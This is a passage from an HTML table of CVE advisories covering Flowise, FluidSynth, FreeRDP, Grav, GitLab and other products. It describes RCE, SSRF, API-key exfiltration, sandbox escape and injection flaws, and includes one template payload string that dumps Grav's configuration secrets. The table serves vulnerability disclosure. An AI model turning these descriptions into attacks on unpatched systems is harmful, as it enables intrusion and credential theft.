&lt;td&gt;Flowise before 3.1.4 contains a remote code execution vulnerability in the Custom MCP node that allows authenticated attackers to execute arbitrary code by supplying npx package names in the mcpServerConfig parameter. Attackers can invoke npx with attacker-controlled npm packages to execute code on the Flowise server.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91931&quot; target=&quot;_blank&quot;&gt;CVE-2026-91931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise before 3.1.4 contains a validation bypass vulnerability in MCP server configuration allowing authenticated attackers remote code execution through an unvalidated cwd parameter. Attackers can bypass path validation using clean filenames in the args array while controlling the working directory to execute malicious code.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91932&quot; target=&quot;_blank&quot;&gt;CVE-2026-91932&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise versions before 3.1.4 fail to validate file paths in the SQL Database Chain node when connecting to SQLite databases, allowing authenticated attackers to write arbitrary files. Attackers can write malicious SQLite databases to system directories or inject files into the web root to execute commands or perform stored XSS attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91934&quot; target=&quot;_blank&quot;&gt;CVE-2026-91934&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise before 3.1.4 fails to validate baseURL parameters in chat-model nodes, allowing authenticated users to redirect requests to arbitrary hosts. Attackers with chatflows:create or chatflows:update permissions can exfiltrate LLM provider API keys by redirecting requests to cloud metadata services or internal hosts.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91935&quot; target=&quot;_blank&quot;&gt;CVE-2026-91935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise versions before 3.1.4 contain cross-tenant authorization gaps in Enterprise endpoints that fail to verify resource ownership before operations. Attackers with Enterprise access can delete arbitrary workspaces, invite themselves into other organizations, modify cross-org roles, and abuse stored SSO secrets.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91929&quot; target=&quot;_blank&quot;&gt;CVE-2026-91929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise before 3.1.4 fails to scope enterprise organization and workspace membership APIs to the caller&#039;s tenant, allowing authenticated users to supply arbitrary organization IDs. Attackers can add themselves as organization owners, create workspaces, and gain administrative access to victim organizations by exploiting insufficient tenant isolation in the organizationuser and workspace endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91930&quot; target=&quot;_blank&quot;&gt;CVE-2026-91930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise before 3.1.4 fails to enforce workspace-level authorization checks in openai-realtime endpoints, allowing authenticated users to access tools from ChatFlows in other workspaces by supplying an unscoped chatflowid. Attackers can invoke GET and POST requests to retrieve tool definitions and execute tools from victim workspaces, triggering external side effects and accessing sensitive tool outputs.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91933&quot; target=&quot;_blank&quot;&gt;CVE-2026-91933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise before 3.1.4 fails to sanitize the overrideConfig.sessionId parameter before using it in MongoDB queries within the MongoDBMemory node. Unauthenticated attackers can submit MongoDB operator objects through the prediction API to read chat history records belonging to other users from the shared collection.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91937&quot; target=&quot;_blank&quot;&gt;CVE-2026-91937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise versions before 3.1.4 contain a server-side request forgery vulnerability in Cheerio, Playwright, and Puppeteer document loader nodes that bypass SSRF protection. Attackers can provide arbitrary URLs to fetch cloud metadata, internal services, and private network resources with response content returned as document text.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91938&quot; target=&quot;_blank&quot;&gt;CVE-2026-91938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluidSynth--fluidsynth&lt;/td&gt;
&lt;td&gt;FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From 1.1.2 until 2.5.6, the FluidSynth command handler accepts a pitch_bend_range command whose channel argument is not bounds checked before the supplied value is written through the selected synth channel. An out-of-range channel can therefore cause an out-of-bounds heap write, leading to denial of service or possible code execution. The issue is remotely reachable when the TCP server is enabled through new_fluid_server() or fluidsynth -s, and it is locally reachable through malicious commands delivered to the FluidSynth shell on standard input. Applications that do not use the shell, command handler, or TCP server are not affected. This issue is fixed in version 2.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58264&quot; target=&quot;_blank&quot;&gt;CVE-2026-58264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluidSynth--fluidsynth&lt;/td&gt;
&lt;td&gt;FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From 2.5.0 until 2.5.6, the native DLS loader assigns file-controlled wsmp.loop_start and wsmp.loop_length values to samples without calling fluid_sample_validate() or fluid_sample_sanitize_loop(). A crafted DLS file can place sample loop points beyond the sample buffer, causing out-of-bounds reads during audio rendering, undefined behavior, possible memory disclosure, and denial of service. Builds compiled with the CMake option enable-native-dls set to OFF do not expose the affected parser. This issue is fixed in version 2.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61721&quot; target=&quot;_blank&quot;&gt;CVE-2026-61721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluidSynth--fluidsynth&lt;/td&gt;
&lt;td&gt;FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From 2.2.4 until 2.5.6, configuring synth.midi-channels above 16 allows the MIDI player to index _fluid_player_t::channel_isplaying outside its fixed-size heap allocation while tracking active channels. The resulting out-of-bounds reads and writes invoke undefined behavior and may compromise confidentiality, integrity, or availability. No crafted MIDI file is required because the unsafe condition is created by the channel-count configuration itself. Keeping synth.midi-channels at its default value of 16 avoids the vulnerable path. This issue is fixed in version 2.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61714&quot; target=&quot;_blank&quot;&gt;CVE-2026-61714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flyfish-dev--file-viewer&lt;/td&gt;
&lt;td&gt;File Viewer is a browser-native viewer for Office, PDF, CAD, archive, and other files in private and internal web applications. Prior to @file-viewer/doc 2.3.1 and msdoc-viewer 0.2.2, the legacy DOC renderer emitted document-controlled hyperlink targets into generated HTML after character escaping but without restricting URL schemes. A crafted legacy DOC file could place javascript:, vbscript:, data:, or another unsafe scheme in a rendered link, and script could execute in the embedding application&#039;s origin when a user clicked the link. The fix blocks external document links by default, allows only HTTP(S), mail, telephone, safe relative URLs, and internal bookmarks when external links are explicitly enabled, and applies mount-boundary sanitization as defense in depth. This issue is fixed in @file-viewer/doc 2.3.1 and msdoc-viewer 0.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91127&quot; target=&quot;_blank&quot;&gt;CVE-2026-91127&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forget-C--Jellyfish AI Short Drama Studio&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Forget-C Jellyfish AI Short Drama Studio 0.1.0-alpha/0.2.0/0.3.0/0.3.1/0.3.2. This affects an unknown function of the file backend/app/dependencies.py of the component FastAPI. The manipulation leads to missing authentication. It is possible to initiate the attack remotely. The reported GitHub issue was closed automatically due to inactivity.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93559&quot; target=&quot;_blank&quot;&gt;CVE-2026-93559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP server versions before 3.31.0 contain a protocol negotiation bypass vulnerability that allows unauthenticated attackers to establish RDSTLS connections despite server policy disabling them. Attackers can send incompatible protocol requests, receive negotiation failures, then complete TLS handshake and enter RDSTLS to bypass pre-authentication transport restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91949&quot; target=&quot;_blank&quot;&gt;CVE-2026-91949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain a heap-based buffer overflow in nego_send_negotiation_request when processing Server Redirection PDU messages with attacker-controlled LoadBalanceInfo fields. A malicious RDP server can trigger the overflow by sending an arbitrary-length field that gets written to a fixed 512-byte buffer without validation, causing client crashes or potential code execution when chained with memory disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91964&quot; target=&quot;_blank&quot;&gt;CVE-2026-91964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP server versions before 3.31.0 contain a use-after-free vulnerability in the DRDYNVC parser that dereferences a channel pointer after releasing the synchronization lock. Authenticated clients can race AUDIN channel closure messages against DRDYNVC data parsing to trigger heap-use-after-free when accessing freed channel objects.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91947&quot; target=&quot;_blank&quot;&gt;CVE-2026-91947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an out-of-bounds write vulnerability in server-side static virtual channel handling when CHANNEL_OPTION_SHOW_PROTOCOL is enabled. Authenticated clients can queue oversized channel messages that cause buffer underflow and corrupt heap memory including live pointers, potentially enabling code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91948&quot; target=&quot;_blank&quot;&gt;CVE-2026-91948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 fails to validate client-supplied DesktopWidth and DesktopHeight values during GCC negotiation, allowing remote attackers to crash the server. Attackers can send crafted RDP packets with zero or oversized dimensions to trigger division-by-zero or assertion failures in multifragment update capability calculations, terminating the server process.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91955&quot; target=&quot;_blank&quot;&gt;CVE-2026-91955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;froxlor versions before 2.2.5 fail to validate newline characters in subdomain redirect URLs, allowing authenticated customers to inject arbitrary nginx or Apache configuration directives. Attackers can supply URLs containing literal newlines that are written verbatim into vhost config files during cron rebuild, enabling web server configuration corruption, denial of service, or hijacking of HTTP responses across hosted domains.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90937&quot; target=&quot;_blank&quot;&gt;CVE-2026-90937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;froxlor--froxlor&lt;/td&gt;
&lt;td&gt;Froxlor before 2.2.0 (affected up to and including 2.2.0-rc3) generates /etc/pure-ftpd/db/mysql.conf with mode 0644 via the XML configuration templates in lib/configfiles/, even though the file contains the Froxlor SQL user&#039;s password. On systems where the parent directories are world readable (the default on Debian 12), any unprivileged local user able to execute commands or code on the host - including virtual users without SSH access who can upload PHP/CGI scripts - can read the file and obtain the Froxlor database credentials. Database access can then be leveraged to alter an administrator&#039;s password hash and TOTP seed, log in as a Froxlor administrator, and ultimately gain root privileges. Only instances configured to use pure-ftpd are affected.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-58383&quot; target=&quot;_blank&quot;&gt;CVE-2024-58383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fulgur-rs--fulgur&lt;/td&gt;
&lt;td&gt;`fulgur` converts untrusted HTML/CSS into PDF, commonly on a server that processes input supplied by many tenants. In versions prior to 0.19.0, a body-direct child whose CSS-resolved height greatly exceeds the page height was sliced into one fragment per page with no upper bound. This is fixed in 0.19.0. A `MAX_PAGES` cap bounds the slice loop - halting it even for a `+inf` height - and non-finite layout heights are sanitized so they can no longer drive the loop. As a workaround, validate or constrain untrusted CSS (in particular `height` / `vh` on body-level elements) before passing HTML to fulgur.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68523&quot; target=&quot;_blank&quot;&gt;CVE-2026-68523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fulgur-rs--fulgur&lt;/td&gt;
&lt;td&gt;`fulgur` converts untrusted HTML/CSS into PDF, commonly on a server that processes input supplied by many tenants. In versions prior to 0.19.0, a body-direct child whose CSS-resolved height greatly exceeds the page height was sliced into one fragment per page with no upper bound. This is fixed in version 0.19.0. A `MAX_PAGES` cap bounds the slice loop - halting it even for a `+inf` height - and non-finite layout heights are sanitized so they can no longer drive the loop. As a workaround, validate or constrain untrusted CSS (in particular `height` / `vh` on body-level elements) before passing HTML to fulgur.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68537&quot; target=&quot;_blank&quot;&gt;CVE-2026-68537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gabe Livan--Asset CleanUp: Page Speed Booster&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Request Forgery (CSRF) in Asset CleanUp: Page Speed Booster &amp;lt;= 1.4.0.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66571&quot; target=&quot;_blank&quot;&gt;CVE-2026-66571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gabelivan--Asset CleanUp: Page Speed Booster&lt;/td&gt;
&lt;td&gt;The Asset CleanUp: Page Speed Booster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content in all versions up to, and including, 1.4.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is only exploitable on instances where combine_loaded_css has been enabled.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13354&quot; target=&quot;_blank&quot;&gt;CVE-2026-13354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;garycourt--uri-js&lt;/td&gt;
&lt;td&gt;uri-js through 4.4.1 contains a denial of service vulnerability in the removeDotSegments function that loops infinitely when a path segment begins with Unicode line or paragraph separators. Attackers can trigger this by calling removeDotSegments directly or through normalize/resolve functions with IRI handling enabled, causing the Node.js event loop to block indefinitely until heap exhaustion.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93690&quot; target=&quot;_blank&quot;&gt;CVE-2026-93690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gen Digital--Avast Free Antivirus, Avast One, Avast Premium Security, Avast Ultimate, Avast Business Security&lt;/td&gt;
&lt;td&gt;Improper preservation of permissions in the Avast sandbox minifilter driver (aswSnx.sys) on Windows allows a local, low-privileged attacker executing inside the sandbox to escape file isolation and escalate to SYSTEM. When the sandbox virtualizes a file it copies the original security descriptor, but the driver opened the virtualization target object with GENERIC_WRITE and FILE_WRITE_ATTRIBUTES only, omitting WRITE_DAC. Every attempt to apply the original DACL therefore failed, and the failure was discarded silently, leaving virtualized copies of sensitive files with permissive permissions. Because the IRP_MJ_CREATE callback additionally did not strip WRITE_DAC for sensitive directories, a sandboxed process could rewrite the security descriptor of a virtualized object, read the virtualized copy of the SAM database, extract local NTLM password hashes and execute code as SYSTEM. The absence of an IRP_MJ_SET_SECURITY callback in the driver&#039;s operation registration table is a related defense-in-depth gap, but it is not the control that prevents this attack.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82964&quot; target=&quot;_blank&quot;&gt;CVE-2026-82964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;geolens-io--geolens&lt;/td&gt;
&lt;td&gt;GeoLens is a self-hosted geospatial data catalog with semantic search, OGC and STAC APIs, and a map builder. Prior to 1.2.3, multiple read and link endpoints authorize only the resource named in the request URL and fail to re-authorize a second caller-influenced dataset reached through a relationship, map layer, VRT source, externalId lookup, or request body. When a public map references a private dataset, anonymous callers can use GET /maps/{id} and GET /maps/{id}/style.json to obtain the private layer&#039;s metadata, sampled values, or vector tiles. The style response can expose a replayable HMAC tile URL that is bound to neither a user nor a map. When a public source dataset has a relationship to a private target dataset, anonymous callers can use the dataset relationship APIs to enumerate the relationship and read rows from the private target&#039;s backing table. Anonymous callers can also use GET /collections/datasets/items with an externalId dataset UUID to obtain metadata for any private, restricted, or unpublished dataset because that lookup performs no visibility check. Authenticated users with the default editor role can mosaic another user&#039;s private raster into an owned VRT and read its pixels, and POST /ai/metadata/{summary,keywords,lineage,quality-statement} accepts a body-controlled dataset_id without a visibility check and returns private metadata and sample values. Pre-existing vrt_source_links also expose unauthorized member metadata and health unless each member is filtered at read time. These paths can disclose vector geometries and attributes, raster pixels, table rows, table names, column schemas, feature counts, extents, source URLs and filenames, contacts, and sampled row values. This issue is fixed in version 1.2.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55178&quot; target=&quot;_blank&quot;&gt;CVE-2026-55178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GeoVision Inc.--GV-Remote E-map&lt;/td&gt;
&lt;td&gt;A DLL hijacking vulnerability exists in the GeoVision&amp;nbsp;GV-Remote E-Map&amp;nbsp;desktop application. The application loads one or more dynamic-link libraries (DLLs) from an unsafe search path, allowing a local attacker to place a malicious DLL in a location searched before the legitimate library location.&amp;nbsp;If successfully exploited, an attacker with local write access to the affected directory could achieve arbitrary code execution in the security context of the&amp;nbsp;GV-Remote E-Map&amp;nbsp;process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92838&quot; target=&quot;_blank&quot;&gt;CVE-2026-92838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;Grav is a flat-file CMS. In Grav 1.7.0 through 1.7.53.2 and 2.0.0 through 2.0.21, when the debugger is enabled (system.debugger.enabled: true, which is not the default), the Clockwork profiler endpoint is exposed without authentication: InitializeProcessor::handleDebuggerRequest() intercepts any path containing /__clockwork/ during bootstrap and passes it to Debugger::debuggerRequest(), which performs no user lookup, IP restriction, or Clockwork authenticator check, and also supports anonymous pagination over the entire stored history. With the shipped censored: false default, each stored record contains raw request cookies (including Grav&#039;s session cookie, whose value is the PHP session id, allowing an attacker to resume another user&#039;s session, including an authenticated admin&#039;s), the full parsed request body (Grav&#039;s login form posts data[username]/data[password], so passwords are stored in plaintext because Clockwork&#039;s password filter only inspects top-level keys), and the site&#039;s entire system and plugin configuration, including operator-saved secrets such as SMTP credentials, third-party API keys, and licence keys. Authorization and X-API-Token headers are stored even when censored: true. On Grav 2.0, setting provider: debugbar does not avoid the issue because Grav forces the Clockwork provider for requests preferring a JSON response. The issue is fixed in 1.7.53.4 and 2.0.22, which restrict /__clockwork/ to server-local requests or requests presenting the new system.debugger.token secret and strip cookies and credential headers from stored records. Workarounds include setting debugger.enabled: false or blocking /__clockwork/ at the web server or CDN.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92916&quot; target=&quot;_blank&quot;&gt;CVE-2026-92916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--grav&lt;/td&gt;
&lt;td&gt;Grav is a flat-file CMS. In versions 2.0.0-rc.1 through 2.0.21, the Twig content sandbox fails to restrict the dump and serialize filters (print_r, vardump, json_encode, yaml_encode, string): GravExtension::assertSandboxDumpSafe() determines sandbox state by calling SandboxExtension::isSandboxed() without a Source argument, which reports only the global sandbox flag that Grav never enables, so the guard added in GHSA-mc5q-6hpj-rp7j never executes. As a result, an authenticated user with page-edit rights can render {{ config|print_r }} in page content with Twig processing enabled and dump Grav&#039;s entire merged configuration - print_r reflects the real Config object held in a private property of the SandboxConfig facade, bypassing its path redaction - exposing plugin secrets such as SMTP credentials, API tokens, webhook secrets and cache backend passwords. Grav 1.7 is not affected because it ships no Twig content sandbox. The issue is fixed in 2.0.22, where the affected filters are registered with Twig&#039;s needs_is_sandboxed flag.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92917&quot; target=&quot;_blank&quot;&gt;CVE-2026-92917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GH05TCREW--PentestAgent&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GH05TCREW PentestAgent up to cf882dabea3ed91cef016cdd115e5426315665a2. This vulnerability affects the function run_task of the file interface/main.py of the component MCP HTTP Server. Performing a manipulation results in os command injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90617&quot; target=&quot;_blank&quot;&gt;CVE-2026-90617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GH05TCREW--PentestAgent&lt;/td&gt;
&lt;td&gt;A flaw has been found in GH05TCREW PentestAgent up to cf882dabea3ed91cef016cdd115e5426315665a2. This issue affects the function LocalRuntime.execute_command of the file runtime/runtime.py of the component LocalRuntime. Executing a manipulation can lead to os command injection. The attack may be performed from remote. The exploit has been published and may be used. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90618&quot; target=&quot;_blank&quot;&gt;CVE-2026-90618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.3 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an authenticated user could have induced a targeted user to perform unintended state-changing HTTP requests due to improper sanitization of user-controlled data in the Markdown JSON table renderer.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78252&quot; target=&quot;_blank&quot;&gt;CVE-2026-78252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions could have allowed an authenticated user with developer permissions to execute a policy test pipeline on projects within their group and access protected CI/CD variables restricted to higher-privileged roles, due to insufficient scope validation.&lt;/td&gt;
